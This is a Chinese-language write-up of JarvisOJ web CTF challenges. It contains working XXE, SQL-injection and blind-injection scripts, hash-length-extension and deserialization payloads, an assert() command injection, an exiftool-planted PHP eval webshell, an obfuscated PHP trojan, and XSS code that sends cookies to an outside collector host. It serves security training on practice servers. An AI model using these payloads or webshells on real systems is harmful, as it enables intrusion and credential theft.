jarvisoj-web-writeup

复现的笔记-jarvisoj-web-writeup

PORT51-http://web.jarvisoj.com:32770/

curl –local-port 51 http://web.jarvisoj.com:32770/

api调用-http://web.jarvisoj.com:9882/

flag:/home/ctf/flag.txt

  • xxe

打开发现
Content-Type: application/json
环境是python
需要读取flag吧 猜测是不是xxe 然后搜到了
http://bobao.360.cn/learning/detail/360.html
Content-Type头被修改为application/xml,客户端会告诉服务器post过去的数据是XML格式的.
加一个Content-Type: application/xml
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST /api/v1.0/try HTTP/1.1
Host: web.jarvisoj.com:9882
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept: application/json
Content-Type: application/xml
Referer: http://web.jarvisoj.com:9882/
Content-Length: 165
X-Forwarded-For: 10.16.13.91
Connection: keep-alive

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>

localhost-http://web.jarvisoj.com:32774/

提示要本地访问

1
2
加上
X-Forwarded-For: 127.0.0.1

login-http://web.jarvisoj.com:32772/

在header里面发现

1
Hint: "select * from `admin` where password='".md5($pass,true)."'"

http://www.am0s.com/functions/204.html

http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
md5(<i>string</i>,<i>raw</i>)
参数 描述
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式:
TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数
在代码中如果出现md5($password,true)

当md5后的hex转换成字符串后,如果包含 'or'<trash> 这样的字符串,那整个sql变成
SELECT * FROM admin WHERE pass = ''or'6<trash>'
在网上搜了一个字符串:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

再转成字符串: 'or'6<trash>

PHP
<?php
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 选择数据库
$db = mysql_select_db("test", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 执行sql
$password = "ffifdyop";
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

<?php
error_reporting(0);
$link = mysql_connect('localhost', 'root', 'root');
if (!$link) {
die('Could not connect to MySQL: ' . mysql_error());
}
// 选择数据库
$db = mysql_select_db("test", $link);
if(!$db)
{
echo 'select db error';
exit();
}
// 执行sql
$password = "ffifdyop";
$sql = "SELECT * FROM admin WHERE pass = '".md5($password,true)."'";
var_dump($sql);
$result=mysql_query($sql) or die('<pre>' . mysql_error() . '</pre>' );
$row1 = mysql_fetch_row($result);
var_dump($row1);
mysql_close($link);
?>

可以得到一个字符串:ffifdyop

神盾局的秘密-http://web.jarvisoj.com:32768/

base64 可以读到源码
index.php

1
2
3
4
5
6
7
8
9
10
<?php 
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

shield.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}

function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>

可以发现在index中$x = unserialize($g);
说明这是一个反序列读pctf.php文件的题
于是构造payload

1
2
3
4
5
6
7
8
9
10
11
<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = 'pctf.php') {
$this -> file = $filename;
}
}
$m = new Shield();
echo serialize($m);
?>

IN A Mess-http://web.jarvisoj.com:32780/

index.phps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
header('Location: index.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("flag.txt");
}
else
{
print "work harder!harder!harder!";
}


?>

随便输入一个不是数字绕过id;data伪协议绕过stripos;00截断eregi。
然后返回一个路径Come ON!!! {/^HT2mCpcvOLf}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /index.php?id=a&a=php://input&b=%00233333 HTTP/1.1
Host: web.jarvisoj.com:32780
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=uj107nfovv3on10uca868uam15
X-Forwarded-For: 10.16.13.91
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

1112 is a nice lab!

得到一个注入
测试发现过滤了空格 用/*aaa*/绕过
然后发现要吃掉语句使用双写语句绕过
最终payload

1
http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id=1/*aaaa*/and/*111*/1=2/*aaa*/uniunionon/*bbbb*/selselectect/*aaabb*/1,2,context/*vvvv*/frfromom/*aaabbbb*/content

flag在管理员手里-http://web.jarvisoj.com:32778/

什么是hash算法及hash扩展攻击

http://www.freebuf.com/articles/web/69264.html

http://www.freebuf.com/articles/web/31756.html

文件泄露http://web.jarvisoj.com:32778/index.php~

php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?>

用的是用户传过来的hsh和role,满足role=admin很容易,直接抓包修改就行,但是满足hsh=MD5(salt+role)就比较难了,因为我们不知道salt的值,如果改了hsh和role,那怎么满足等式成立呢,所以这看似很安全,服务器放心的把认证信息都存在用户的浏览器的cookie里,而服务只需保留salt的值就可以验证用户的身份了。理想很丰满,现实就是存在hash长度扩展攻击。

开头两篇文章里总结的很清楚,我就总结一下:我们先补充第一次的salt+身份信息的长度,使之符合MD5算法的要求,这一步服务器也是这么做的,只不过服务器将补足后的信息拿去运算,然后得到hash(记为hash1),返回给我们。但我们在补足长度之后再拼接上其他信息,比如admin,看看会发生什么。服务器会先进行之前一样的运算得到hash1,用这个hash1再作为register,拿去加密后一个块admin(这句话如果不明白再看看hash的原理),最终完成MD5(salt+role)得到一个值hash2与hsh比较。重点来了,现在MD5(salt+role)我们也可以完成,得到那个hash2了。可是我们不是不知道那个salt吗?是的,这次服务器的MD5过程是从头开始运算,到倒数第二步是用hash1去运算admin块,最后得到hash2.

可我们知道hash1(第一次服务器正常的身份信息),和admin(我们自己加上的嘛),那么我们做一次hash1和admin的MD5运算不就得到hash2了嘛。把hash2赋值给hsh,传入就满足了hsh=MD5(salt+role)

这个计算过程可以借助lunix下的hashpump,为这个漏洞量身定制的,不过要在kali中还是要安装的,P神的教程:https://www.cnblogs.com/pcat/p/5478509.html

防护方法也很简单,将用户能改的信息(这里是role)拼接在salt前即可,毕竟MD5中是从前向后分块的

访问网页,得到cookie中的role和hsh这里的hsh是$slat+;”tseug”:5:s经过md5加密后的值;
设置cookie中role的值,满足以下两个条件:
$role===”admin” && $hsh === md5($salt.strrev($_COOKIE[“role”]))
1
第一个条件$role===”admin”只需要使$role参数的前5个字符是”admin”,第六个字符是’\0’即可。
第二个条件$hsh === md5($salt.strrev($_COOKIE[“role”])),注意和$salt连接的字符串是经过strrev函数处理的role参数,只需要构造role参数的后半部分,通过hash长度扩展攻击,经过运算得到新的hsh即可。$salt的长度暂时不知道,暂时输入一个数字10,得到新的hash值fcdc3840332555511c4e4323f6decb07以及一个接近payload的字符串;”tseug”:5:s\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb0\x00\x00\x00\x00\x00\x00\x00;”nimda”:5:s。\xb0说明$salt+;”tseug”:5:s一共176bit,也就是22字节,$salt长假设是10字节。

;”tseug”:5:s\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00;”nimda”:5:s

将上述字符串中的\x替换成%,;替换成%3b,倒序排列,得到:

s:5:”admin”%3b%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80s:5:”guest”%3b
使用burpsuite爆破salt的长度,得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python
# -*- coding=utf -*-
import requests,hashpumpy,urllib


def webre():
url = 'http://web.jarvisoj.com:32778/'
sha = '3a4727d57463f122833d9e732f94e4e0'
string0 = ';"tseug":5:s'
string1 = ';"nimda":5:s'
for i in range(15):
digest, message = hashpumpy.hashpump(sha,string0,string1,i)
payload ={'role':urllib.quote(message[::-1]), 'hsh':digest} # quote()用于把'\x00'都变成'%00' 这道题message需要反转一下
print(i,payload)
html = requests.get(url,cookies=payload).content#提交答案
if 'Welcome' in html:
print(html)
webre()

phpinfo-http://web.jarvisoj.com:32784/

打开入口出现如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

关键点是这Session序列化及反序列化处理器链接

1
ini_set('session.serialize_handler', 'php');

PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

配置选项 session.serialize_handler
PHP 提供了 session.serialize_handler 配置选项,通过该选项可以设置序列化及反序列化时使用的处理器:

session.serialize_handler “php” PHP_INI_ALL

安全隐患
通过上面对存储格式的分析,如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据:)

然后就是需要找个地方控制session
于是扫了半天有个phpinfo 发现禁用了很多函数

于是在官网找到了
http://php.net/manual/zh/session.upload-progress.php
功能是把文件的上传进度记录到session里面。用官网的改改就行

1
2
3
4
5
6
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>

然后是构造payload 测试发现禁用了很多函数 也没写成功文件 用scandir 和file_get_contents得到了flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class OowoO
{
public $mdzz;
function __construct()
{
// $this->mdzz = 'phpinfo();';
$this->mdzz = 'print_r(scandir("/opt/lampp/htdocs"));';
//$this->mdzz = 'print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));';
}

function __destruct()
{
//eval($this->mdzz);
}
}
$m = new OowoO();
echo serialize($m);
?>

图片上传漏洞-http://web.jarvisoj.com:32790/

打开入口发现是个上传图片的 发现只能上传图片
然后扫到个test.php
发现有ImageMagick还是存在漏洞的

于是找了一下
http://www.2cto.com/article/201605/505823.html
发现exif信息也能触发漏洞
ccf 中的web题
hint1:hidden parameter’image’
先用exiftool生成一个一句话后门 路径由phpinfo得到

1
exiftool -label="\"|/bin/echo \<?php \@eval\(\\$\_POST\[x\]\)\;?\> > /opt/lampp/htdocs/uploads/x.php; \"" 20161113150830.png

注意这里是需要转义两次的 意思是要在图片里面带有一个\ 这样在服务器上echo写入的时候才会保留​

先上传一次带有后门的图片得到图片路径 然后拼接在发包一次修改filetype的参数为show或者win

上传后菜刀连即可

WEB?-http://web.jarvisoj.com:9891/

有一个check功能,输入错误的密码会提示“Wrong Password!!”,查看源代码,有个app.js。将该js文件格式化后在里面查找字符串“Wrong Password!!”,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$.post("checkpass.json", t,
function(t) {
self.checkpass(e) ? self.setState({
errmsg: "Success!!",
errcolor: b.green400
}) : (self.setState({
errmsg: "Wrong Password!!",
errcolor: b.red400
}), setTimeout(function() {
self.setState({
errmsg: ""
})
},
3e3))
})

可以看到有个checkpass(e)函数,定位到该函数处。

1
2
3
4
r.checkpass = function() {
var e;
return (e = r).__checkpass__REACT_HOT_LOADER__.apply(e, arguments)
},

定位到 checkpassREACTHOTLOADER 处:

发现是一个线性方程组。

python

1
2
3
4
5
6
7
8
9
10
11
import numpy as np
from scipy.linalg import solve
import string
r = np.array([325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259])
o = np.array([[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]])
x = solve(o,r)
flag = ""
for i in range(len(x)):
char = chr(int(round((x[i]))))
flag += char
print(flag)

[61dctf]admin-http://web.jarvisoj.com:32792/

扫到robots.txt发现Disallow: /admin_s3cr3t.php
访问并用burp抓包,在cookie字段加上admin=1,得到flag:

1
flag{hello_admin~}

[61dctf]babyphp-http://web.jarvisoj.com:32798/

通过git泄露出来的index.php源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

其中assert是个危险函数,其原型为

1
bool assert ( mixed $assertion [, string $description ] )

如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
payload1:

1
http://web.jarvisoj.com:32798/?page=flag'.system("ls templates/;").'

payload2

1
http://web.jarvisoj.com:32798/?page=flag'.system("cat templates/flag.php;").'

[61dctf]babyxss-http://web.jarvisoj.com:32800/

验证码爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import random
import string

s= raw_input('code:')
def md5(str):
import hashlib
m = hashlib.md5()
m.update(str)
return m.hexdigest()

while 1:
string = ''
s = string.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4))
if md5(s)[0:4] == s:
print s
break

绕过csp

现在绕过csp的方法很简单,也很固定利用chrome的prefetch属性进行预加载绕过。
观察发现此题是严格csp限制

1
default-src 'self'; script-src 'self' ;

只能加载同源脚本,一般XSS是支持内联脚本的。
那么现在又有个问题,我们怎么能加载同源可控脚本呢?

只能加载同源脚本,一般XSS是支持内联脚本的。
那么现在又有个问题,我们怎么能加载同源可控脚本呢?

上传同源可控脚本

这里我首先发送标签

1
<link rel="prefetch" href="http://xxxx/XSS/?c=[cookie]">

XSS平台上收到了一个带有referer字段的http包
里面有admin网址,以及发送的留言信息。

XSS平台上收到了一个带有referer字段的http包
里面有admin网址,以及发送的留言信息。

1
2
3
4
5
6
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "http://xxxx/?a="+document.cookie);
document.head.appendChild(n0t);

<link rel="prefetch" href="http://xsshs.cn/OMhH">

利用组合姿势XSS

有了同源可控脚本我们再次上传一个

1
<script src="http://xsshs.cn/OMhH"></script>

就可以把我们的脚本当做js脚本引用执行

还有个坑js脚本里面有标签的时候,会解析报错。
这里把他注释掉,就可以了。

[61dctf]register-http://web.jarvisoj.com:32796/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#encoding='utf-8'
import requests
import re

url0 = "http://web.jarvisoj.com:32796/index.php"
url1 = "http://web.jarvisoj.com:32796/register.php"
url2 = "http://web.jarvisoj.com:32796/login.php"
url3 = "http://web.jarvisoj.com:32796/index.php?page=info"

sqlquery = "SELECT GROUP_CONCAT(a) FROM (SELECT 1,2,3`a`,4,5 UNION SELECT * from users)`b`"

finish = False
len = 1
result = ''
num = 0

while not finish:
left = 0x19
right = 0x80
while True:
c = (left + right) // 2
data1 = {
"country": "'or ASCII(SUBSTR(({}),{},1))>{}#".format(sqlquery, len, c),
"username": "MitAh"+str(num),
"password": "123123",
"address": "123123"
}
data2 = {
"username": "MitAh"+str(num),
"password": "123123"
}
num += 1
s = requests.session()
s.get(url0)
s.post(url1, data=data1)
s.post(url2, data=data2)
res = s.get(url3)
text = res.text
# 根据不同情况修改
if re.findall('2017-10-(.*) ',text)[0] == '09':
if c == left:
if left == 0x19:
finish = True
break
print('result: ', left)
result += chr(left)
break
# print('<= ', c)
left = left
right = c
if re.findall('2017-10-(.*) ',text)[0] == '10':
if c == left:
print('result: ', right)
result += chr(right)
break
# print('> ', c)
left = c
right = right
len += 1
print(result)
# 9a73fd18fedd9643357ffe20b9d974e4
# CleverBoy

获取密码后登陆 admin 账号,在 manage 页面找到flag

flag{URst0rong}

[61dctf]inject-http://web.jarvisoj.com:32794/

1
2
3
4
5
6
7
8
9
10
index.php~
<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

desc反引号注入,闭合反引号即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /?table=test`%20`union%20select%20database()%20limit%201,1 HTTP/1.1

61d300

GET /?table=test`%20`union%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1 HTTP/1.1

secret_flag,secret_test

GET /?table=flag`%20`union%20select%20group_concat(column_name)%20from%20information_schema.columns%20%20where%20table_name=0x7365637265745f666c6167%20limit%201,1 HTTP/1.1

flagUwillNeverKnow

GET /?table=flag`%20`union%20select%20flagUwillNeverKnow%20from%20secret_flag%20limit%201,1 HTTP/1.1

flag{luckyGame~}

Simple Injection-http://web.jarvisoj.com:32787/

盲注,正确返回密码错误,否则返回用户名错误
脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
# coding=utf-8
import requests
class Login:
def run(self):
# self.post_half_ascii_database()
# self.post_half_ascii_table()
# self.post_half_ascii_column()
# self.post_half_ascii_data()#
def pass_waf(self, string):
return string.replace(" ", "/*111*/")#
def post_half_ascii_database(self):
'''
/images/flag.jpg
:return:
'''
url = "http://web.jarvisoj.com:32787/login.php"
payload = {"username": "'or ascii(substr(database(),%s,1))>%s#", "password": "1"}
database = ""
for i in range(1, 15):
min = 36
max = 126
while abs(max - min) > 1:
mid = int((max + min) / 2)
p = payload
p["username"] = "'or ascii(substr(database(),%s,1))>%s#" % (i, mid)
p["username"] = self.pass_waf(p["username"])
response = requests.post(url, data=payload)
# 用户名错误--》1192
# 密码错误-》1191
# print len(response.text)
if len(response.text) == 1191: # 密码错误
min = mid
else:
max = mid
database = database + chr(max)
print("the database is :%s" % database)#
# injection#
def post_half_ascii_table(self):
url = "http://web.jarvisoj.com:32787/login.php"
payload = {"username": "admin", "password": "1"}
database = ""
for i in range(1, 15):
min = 36
max = 126
while abs(max - min) > 1:
mid = int((max + min) / 2)
p = payload
p[
"username"] = "'or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()limit 0,1),%s,1))>%s#" % (
i, mid)#
p["username"] = self.pass_waf(p["username"])
response = requests.post(url, data=payload)
# print response.content
if len(response.text) == 1191: # 密码错误
min = mid
else:
max = mid
database = database + chr(max)
print("the table is :%s" % database)
# admin#
def post_half_ascii_column(self):
url = "http://web.jarvisoj.com:32787/login.php"
payload = {"username": "admin", "password": "1"}
database = ""
for i in range(1, 15):
min = 34
max = 127
while abs(max - min) > 1:
mid = int((max + min) / 2)
p = payload
p[
"username"] = "'or ascii(substr((select column_name from information_schema.columns where table_name=0x61646d696e limit 3,1),%s,1))>%s#" % (
i, mid)
p["username"] = self.pass_waf(p["username"])
response = requests.post(url, data=payload)
# print response.content
if len(response.text) == 1191: # 密码错误
min = mid
else:
max = mid
database = database + chr(max)
print("the table is :%s" % database)
# id
# username
# password
##
def post_half_ascii_data(self):
url = "http://web.jarvisoj.com:32787/login.php"
payload = {"username": "admin", "password": "123"}
database = ""
for i in range(1, 40):
min = 23
max = 127
while abs(max - min) > 1:
mid = int((max + min) / 2)
p = payload
p[
"username"] = "'or ascii(substr((select password from admin limit 0,1),%s,1))>%s#" % (
i, mid)
p["username"] = self.pass_waf(p["username"])
response = requests.post(url, data=payload)
if len(response.text) == 1191: # 密码错误
min = mid
else:
max = mid
database = database + chr(max)
print("the data is :%s" % database)#

if __name__ == '__main__':
Login().run()

334cfb59c9d74849801d5acdcfdaadc3
eTAloCrEP
CTF{s1mpl3_1nJ3ction_very_easy!!}

index包含两个页面,对应两个功能

1
2
http://web.jarvisoj.com:32785/index.php?page=submit
-》http://web.jarvisoj.com:32785/show.php?id=1571993004&type=1571993004

通过id查询到上传到图片

1
2
http://web.jarvisoj.com:32785/index.php?page=view
-》http://web.jarvisoj.com:32785/upload.php

上传成功后会返回图片ID,检查图片内容和后缀名,似乎不可绕过后缀名,只能上传jpg和gif后缀,但是能上传图片马,在图片后面包含一句

1
<script language="php">@eval($_POST['cmd'])</script>

图片ID:1571993004

上传成功后可通过show.php访问,访问返回数据为

1
<img src="uploads/1571993483.jpg"/>

思路断,然后发现在index的page参数似乎是可以进行目录截断读取,通过访问

1
http://web.jarvisoj.com:32785/index.php?page=uploads/1571993483.jpg%00

即可

Chopper-http://web.jarvisoj.com:32782/

1
2
3
http://web.jarvisoj.com:32782/proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg

http://web.jarvisoj.com:32782/admin
1
2
3
4
5
6
7
8
9
10
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /admin/
on this server.</p>
<script>alert('you are not admin!')</script>
<!--<script>alert('admin ip is 202.5.19.128')</script>-->
</body></html>

构造

1
http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin

扫目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
http://web.jarvisoj.com:32782/proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/robots.txt

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

<?php ${("#"^"|").("#"^"|")}=("!"^"`").("( "^"{").("("^"[").("~"^";").("|"^".").("*"^"~");${("#"^"|").("#"^"|")}(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S"). ("_"^"o"). ("?"^"b"). ("]"^"t"));?>

PHP Warning: assert(): Assertion "eval($_POST[360])" failed in /home/zo1ro/1.php on line 1

POST /proxy.php?url=http://202.5.19.128/proxy.php?url=http://web.jarvisoj.com:32782/admin/trojan.php HTTP/1.1
Host: web.jarvisoj.com:32782
Content-Type:application/x-www-form-urlencoded
360=readdir(%27%2e%2f%27)
360=getcwd()

chdir() 改变当前的目录。
chroot() 改变根目录。
closedir() 关闭目录句柄。
dir() 返回 Directory 类的实例。
getcwd() 返回当前工作目录。
opendir() 打开目录句柄。
readdir() 返回目录句柄中的条目。
rewinddir() 重置目录句柄。
scandir() 返回指定目录中的文件和目录的数组。

RE?

下载下来是mysql插件,so文件

1
2
3
4
5
6
mysql> select @@plugin_dir;
+------------------------+
| @@plugin_dir |
+------------------------+
| /usr/lib/mysql/plugin/ |
+------------------------+

复制到目录底下后进行加载函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
mysql> use test;
